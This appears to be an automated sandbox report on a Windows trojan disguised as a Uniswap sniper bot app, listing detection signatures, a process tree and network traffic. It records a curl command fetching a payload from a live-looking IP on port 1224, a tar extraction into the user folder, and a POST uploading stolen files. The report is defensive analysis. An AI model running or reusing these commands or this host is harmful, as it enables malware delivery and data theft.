Edit tour

Windows Analysis Report
my2gf4tNEk.exe

Overview

General Information

Sample name:	my2gf4tNEk.exe renamed because original name is a hash value
Original sample name:	f91bb20852c14222a0c193ce50c7042d.exe
Analysis ID:	1568606
MD5:	f91bb20852c14222a0c193ce50c7042d
SHA1:	748d01320660cfe183d5fa06165c82b1797a94b6
SHA256:	a2190824ca378c0de1a97170032ba64a5c456db3071edeaab701075365990af1
Tags:	exeuser-smica83
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected suspicious sample

Tries to harvest and steal browser information (history, passwords, etc)

Uses known network protocols on non-standard ports

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Drops PE files

Drops certificate files (DER)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries keyboard layouts

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

my2gf4tNEk.exe (PID: 4088 cmdline: "C:\Users\user\Desktop\my2gf4tNEk.exe" MD5: F91BB20852C14222A0C193CE50C7042D)

cmd.exe (PID: 1464 cmdline: "C:\Windows\system32\cmd.exe" /c tasklist /FI "USERNAME eq %USERNAME%" /FI "IMAGENAME eq uniswap-sniper-bot-with-gui.exe" /FO csv | "C:\Windows\system32\find.exe" "uniswap-sniper-bot-with-gui.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5952 cmdline: tasklist /FI "USERNAME eq user" /FI "IMAGENAME eq uniswap-sniper-bot-with-gui.exe" /FO csv MD5: 0A4448B31CE7F83CB7691A2657F330F1)

find.exe (PID: 5160 cmdline: "C:\Windows\system32\find.exe" "uniswap-sniper-bot-with-gui.exe" MD5: 15B158BC998EEF74CFDD27C44978AEA0)

uniswap-sniper-bot-with-gui.exe (PID: 3080 cmdline: "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" MD5: 2940B5A37A1E25EC8B2E0AD5943CD934)

cmd.exe (PID: 6316 cmdline: C:\Windows\system32\cmd.exe /d /s /c "curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5828 cmdline: curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

uniswap-sniper-bot-with-gui.exe (PID: 5752 cmdline: "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1744 --field-trial-handle=1912,i,12440125917234226040,14168537855868665804,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 MD5: 2940B5A37A1E25EC8B2E0AD5943CD934)

explorer.exe (PID: 4004 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

uniswap-sniper-bot-with-gui.exe (PID: 1096 cmdline: "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --mojo-platform-channel-handle=2052 --field-trial-handle=1912,i,12440125917234226040,14168537855868665804,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 MD5: 2940B5A37A1E25EC8B2E0AD5943CD934)

uniswap-sniper-bot-with-gui.exe (PID: 3180 cmdline: "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=renderer --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --app-path="C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar" --no-sandbox --no-zygote --lang=en-GB --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=4 --launch-time-ticks=6966340881 --mojo-platform-channel-handle=2348 --field-trial-handle=1912,i,12440125917234226040,14168537855868665804,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1 MD5: 2940B5A37A1E25EC8B2E0AD5943CD934)

cmd.exe (PID: 416 cmdline: C:\Windows\system32\cmd.exe /d /s /c "curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 528 cmdline: curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cmd.exe (PID: 5912 cmdline: C:\Windows\system32\cmd.exe /d /s /c "tar -xf C:\Users\user\AppData\Local\Temp\p2.zip -C C:\Users\user" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tar.exe (PID: 1484 cmdline: tar -xf C:\Users\user\AppData\Local\Temp\p2.zip -C C:\Users\user MD5: 3596DC15B6F6CBBB6EC8B143CBD57F24)

uniswap-sniper-bot-with-gui.exe (PID: 7040 cmdline: "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2252 --field-trial-handle=1912,i,12440125917234226040,14168537855868665804,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 MD5: 2940B5A37A1E25EC8B2E0AD5943CD934)

cleanup

Sigma Signatures

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /d /s /c "curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown"", CommandLine: C:\Windows\system32\cmd.exe /d /s /c "curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown"", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" , ParentImage: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe, ParentProcessId: 3080, ParentProcessName: uniswap-sniper-bot-with-gui.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /d /s /c "curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown"", ProcessId: 6316, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 80.8% probability

Source: my2gf4tNEk.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\my2gf4tNEk.exe

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\deed1b2d-6a1c-5708-934a-7202254448da

Jump to behavior

Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\LICENSE.electron.txt			Jump to behavior
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\LICENSE.electron.txt			Jump to behavior

Source: my2gf4tNEk.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: vulkan-1.dll.pdb source: my2gf4tNEk.exe, 00000000.00000003.2501641807.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2506011847.0000000005AE0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2502672035.0000000004F60000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: electron.exe.pdb source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: libGLESv2.dll.pdb source: my2gf4tNEk.exe, 00000000.00000003.2410659082.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vk_swiftshader.dll.pdb source: my2gf4tNEk.exe, 00000000.00000003.2506011847.0000000005E58000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File opened: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\app.asar.unpacked\node_modules	Jump to behavior
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File opened: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\locales	Jump to behavior
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File opened: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources	Jump to behavior
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File opened: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\app.asar.unpacked\node_modules\bufferutil\prebuilds	Jump to behavior
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File opened: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\app.asar.unpacked	Jump to behavior
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File opened: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\app.asar.unpacked\node_modules\bufferutil	Jump to behavior

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 1224
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 1224
Source: unknown	Network traffic detected: HTTP traffic on port 1224 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 1224
Source: unknown	Network traffic detected: HTTP traffic on port 1224 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 1224
Source: unknown	Network traffic detected: HTTP traffic on port 1224 -> 49784

Source: global traffic

TCP traffic: 192.168.2.6:49761 -> 185.153.182.241:1224

Source: global traffic	HTTP traffic detected: POST /uploads HTTP/1.1host: 185.153.182.241:1224content-type: multipart/form-data; boundary=--------------------------908792311909022856718242content-length: 108540Connection: closeData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 30 38 37 39 32 33 31 31 39 30 39 30 32 32 38 35 36 37 31 38 32 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 79 70 65 22 0d 0a 0d 0a 37 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 30 38 37 39 32 33 31 31 39 30 39 30 32 32 38 35 36 37 31 38 32 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 69 64 22 0d 0a 0d 0a 37 30 32 5f 37 30 31 31 38 38 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 30 38 37 39 32 33 31 31 39 30 39 30 32 32 38 35 36 37 31 38 32 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 74 73 22 0d 0a 0d 0a 31 37 33 33 33 33 38 35 35 35 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 30 38 37 39 32 33 31 31 39 30 39 30 32 32 38 35 36 37 31 38 32 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 75 6c 74 69 5f 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 30 5f 6c 73 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a Data Ascii: ----------------------------908792311909022856718242Content-Disposition: form-data; name="type"7----------------------------908792311909022856718242Content-Disposition: form-data; name="hid"702_701188----------------------------908792311909022856718242Content-Disposition: form-data; name="uts"1733338555----------------------------908792311909022856718242Content-Disposition: form-data; name="multi_file"; filename="0_lst"Content-Type: application/octet-stream
Source: global traffic	HTTP traffic detected: GET /client/7/702 HTTP/1.1host: 185.153.182.241:1224Connection: close

Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3

Source: global traffic

HTTP traffic detected: GET /ajax/libs/materialize/1.0.0/css/materialize.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: " Not A;Brand";v="99", "Chromium";v="102"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) uniswap-sniper-bot-with-gui/1.0.0 Chrome/102.0.5005.167 Electron/19.1.9 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,*/*;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-GB

Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Disposition: attachment; filename="p.zip"Accept-Ranges: bytesCache-Control: public, max-age=0Last-Modified: Wed, 13 Sep 2023 07:44:46 GMTETag: W/"3117874-18a8d7fee11"Content-Type: application/zipContent-Length: 51476596Date: Wed, 04 Dec 2024 18:56:19 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 50 4b 03 04 0a 00 00 00 00 00 24 80 d0 56 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 2e 70 79 70 2f 50 4b 03 04 0a 00 00 00 00 00 18 80 d0 56 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 2e 70 79 70 2f 44 4c 4c 73 2f 50 4b 03 04 14 00 00 00 08 00 4f a1 86 55 75 bb 04 c8 68 22 14 00 60 83 34 00 1b 00 00 00 2e 70 79 70 2f 44 4c 4c 73 2f 6c 69 62 63 72 79 70 74 6f 2d 31 5f 31 2e 64 6c 6c ec bd 05 58 d5 4b d7 f7 bf 15 1b 75 63 8b 89 b2 55 6c 74 1b d8 62 c2 11 bb 1b bb 50 0c 54 8e dd b5 45 3d b6 1e bb bb 3b 41 c1 ee 0e 40 6c b1 c0 c6 7e bf 9f 0d 18 e7 7e ee e7 7f 3f ef f5 af f7 ba f6 ef ba fc 31 bf 3d 33 6b d6 5a 33 b3 66 cd 5a 6b c6 da 2d a6 19 ec 0c 06 43 22 fd fb fe dd 60 d8 63 88 7d 2a 1b fe af 1f 87 04 06 43 ea 9c fb 52 1b 76 24 3f 9b 6b 4f 02 af b3 b9 1a 75 ed d6 cf a9 77 5f df 2e 7d db f5 74 ea d0 ae 57 2f 5f 3f a7 f6 9d 9c fa f6 ef e5 d4 ad 97 53 b5 ba 0d 9d 7a fa 76 ec 54 24 55 aa 14 a6 38 18 b7 df dd 6d b7 78 e6 d4 e2 f1 ff 66 3f cf 56 3c 40 7f bf bf 9c 62 5e 68 fd 3b c9 3c c3 fa d7 62 9e 63 fd 3b d9 fc b7 b5 ec 94 e2 06 fd f5 7a 34 c5 3c 53 7f 3f eb f7 51 d6 bf 16 f3 a3 d9 fc 9d 6a 5e 64 fd ee 5d 3c f6 6f 80 f5 bb 41 b7 0e 5d 69 e7 df d1 54 af ba c1 d0 71 5c 32 43 cf 45 df da c7 ff 16 6d c8 ed 64 9f 30 b5 93 e1 82 b0 be 66 b4 fe b6 36 0d 0c b0 26 47 24 30 c4 a5 13 1a 0c 49 ac 3f fd fc 6b 88 2e 61 65 ee a8 a2 25 95 ed 9d 20 be 52 fc 9f 7f fd 8e 4b 76 2d 6a c8 d8 35 a1 21 a2 40 09 43 65 1a f0 2e 61 18 02 50 ef e2 86 e8 59 fa a1 45 09 83 77 7e 7d f7 2e 61 08 ae 6b 30 44 44 14 32 b8 19 fe fd e3 7d a7 50 2c 9c f8 c7 a9 84 21 22 c5 bf 2f 5f c4 af 93 bf 9f fe ce 3c 67 8a 45 08 da 13 fd 5e c6 49 60 8b f4 ed d8 ce af 9d c1 90 31 3a a5 90 50 99 d7 fa 7b c5 14 5b e0 e7 58 aa 5c 24 b6 98 21 d7 20 bd 22 8a 19 0c 85 f4 f7 58 b1 7f 96 0b 2c d2 3b b6 e0 8e c3 09 ac b4 1a 02 f5 f7 f5 bf 94 ab 5c a4 5b 6c b9 36 ce b1 b4 18 68 72 9b f9 5f cb b9 ba 76 e8 dc c5 60 e8 0f ed f5 4a 58 fb c8 70 ed bf 28 d7 b7 5f df 0e 06 43 1c 8f 55 2e 99 fe de f8 af ca 75 f2 f1 55 c1 77 fe b1 bc 37 58 e9 f9 97 72 55 0c ff 87 3c 67 78 22 77 dd 4f 61 88 bc 5b d3 de 10 39 64 70 46 43 e4 c0 be a9 0d 91 47 aa 38 18 22 37 ee 70 36 44 7a 2c 49 6f 88 74 2e 9b d6 10 99 ba 72 26 43 64 f2 a9 09 0c 91 3b 92 39 1a 22 73 e6 cb 6d 88 4c b1 5d bf 85 ac 55 e1 2d 59 13 1a 22 07 87 3b 19 22 57 35 c9 60 88 bc 38 50 a0 42 dd 04 f9 78 82 5c 86 c8 84 d1 59 0c 91 85 a7 19 0d 91 2e 2b 95 72 be 9a d2 10 d9 e6 9b c0 7f 6c a1 c2 c1 73 f4 5a 9c 5a e5 26 d5 54 aa 7a 1a a5 02 a7 a8 5c 8f 5b 7a 75 8e d2 67 d0 97 ec 86 c8 2f Data Ascii: PK$V.pyp/PKV.py

Source: global traffic	HTTP traffic detected: GET /ajax/libs/materialize/1.0.0/css/materialize.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: " Not A;Brand";v="99", "Chromium";v="102"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) uniswap-sniper-bot-with-gui/1.0.0 Chrome/102.0.5005.167 Electron/19.1.9 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-GB
Source: global traffic	HTTP traffic detected: GET /pdown HTTP/1.1Host: 185.153.182.241:1224User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /pdown HTTP/1.1Host: 185.153.182.241:1224User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /client/7/702 HTTP/1.1host: 185.153.182.241:1224Connection: close

Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: [yt_channel]: <https://www.youtube.com/channel/UCdRihNiJ0tJ7xpFGKcwZcdQ> equals www.youtube.com (Youtube)
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EA43000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: V8.MemoryHeapUsedV8.MemoryHeapCommittedmail.google.com.gmaildrive.google.com.docsplus.google.com.plusinbox.google.com.inboxcalendar.google.com.calendarwww.youtube.com.youtube.top10sina.com.cnfacebook.combaidu.comqq.comtwitter.comtaobao.comlive.com equals www.youtube.com (Youtube)
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67DE58000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: chttps://www.baidu.com/s?ie={inputEncoding}&wd={searchTerms}https://www.baidu.com/s?ie={inputEncoding}&word={searchTerms}https://www.baidu.com/{google:pathWildcard}/s?ie={inputEncoding}&word={searchTerms}{google:baseURL}#q={searchTerms}{google:baseURL}search#q={searchTerms}{google:baseURL}webhp#q={searchTerms}{google:baseURL}s#q={searchTerms}{google:baseURL}s?q={searchTerms}https://go.mail.ru/msearch?q={searchTerms}&{mailru:referralID}https://m.so.com/s?ie={inputEncoding}&q={searchTerms}https://m.so.com/index.php?ie={inputEncoding}&q={searchTerms}https://m.sogou.com/web/{google:pathWildcard}?ie={inputEncoding}&keyword={searchTerms}http://searchatlas.centrum.cz/?q={searchTerms}http://hladaj.atlas.sk/fulltext/?phrase={searchTerms}http://isearch.avg.com/search?q={searchTerms}http://search.avg.com/route/?q={searchTerms}&lng={language}https://isearch.avg.com/search?q={searchTerms}https://search.avg.com/route/?q={searchTerms}&lng={language}http://search.babylon.com/?q={searchTerms}http://search.conduit.com/Results.aspx?q={searchTerms}http://www.delfi.lt/paieska/?q={searchTerms}http://www.delta-search.com/?q={searchTerms}http://www1.delta-search.com/home?q={searchTerms}http://www1.delta-search.com/?q={searchTerms}http://www2.delta-search.com/home?q={searchTerms}http://www2.delta-search.com/?q={searchTerms}http://www.search.delta-search.com/home?q={searchTerms}http://www.search.delta-search.com/?q={searchTerms}http://www.yhs.delta-search.com/home?q={searchTerms}http://www.yhs.delta-search.com/?q={searchTerms}http://mixidj.delta-search.com/home?q={searchTerms}http://mixidj.delta-search.com/?q={searchTerms}http://search.goo.ne.jp/web.jsp?MT={searchTerms}&IE={inputEncoding}http://search.goo.ne.jp/sgt.jsp?MT={searchTerms}&CL=plugin&FM=json&IE={inputEncoding}http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Default.aspx#q={searchTerms}http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Result.aspx#q={searchTerms}http://start.iminent.com/?q={searchTerms}http://start.iminent.com/StartWeb/1033/homepage/#q={searchTerms}http://search.incredibar.com/?q={searchTerms}http://mystart.incredibar.com/?search={searchTerms}https://www.neti.ee/cgi-bin/otsing?query={searchTerms}&src=webhttps://www.neti.ee/api/suggestOS?suggestVersion=1&suggestQuery={searchTerms}https://nova.rambler.ru/search?query={searchTerms}https://nova.rambler.ru/suggest?v=3&query={searchTerms}http://www.search-results.com/web?q={searchTerms}http://search.snap.do/?q={searchTerms}http://feed.snapdo.com/?q={searchTerms}http://feed.snap.do/?q={searchTerms}http://en.softonic.com/s/{searchTerms}http://www.softonic.com/s/{searchTerms}http://www.softonic.com.br/s/{searchTerms}http://buscador.softonic.com/?q={searchTerms}http://nl.softonic.com/s/{searchTerms}https://search.softonic.com/?q={searchTerms}https://en.softonic.com/s/{searchTerms}https://www.softonic.com/s/{searchTerms}https://www.softonic.com.br/s/{searchTerms}https://buscador.softonic.com/?q={searchTerms}https://nl.softonic.com/s/{searchTer
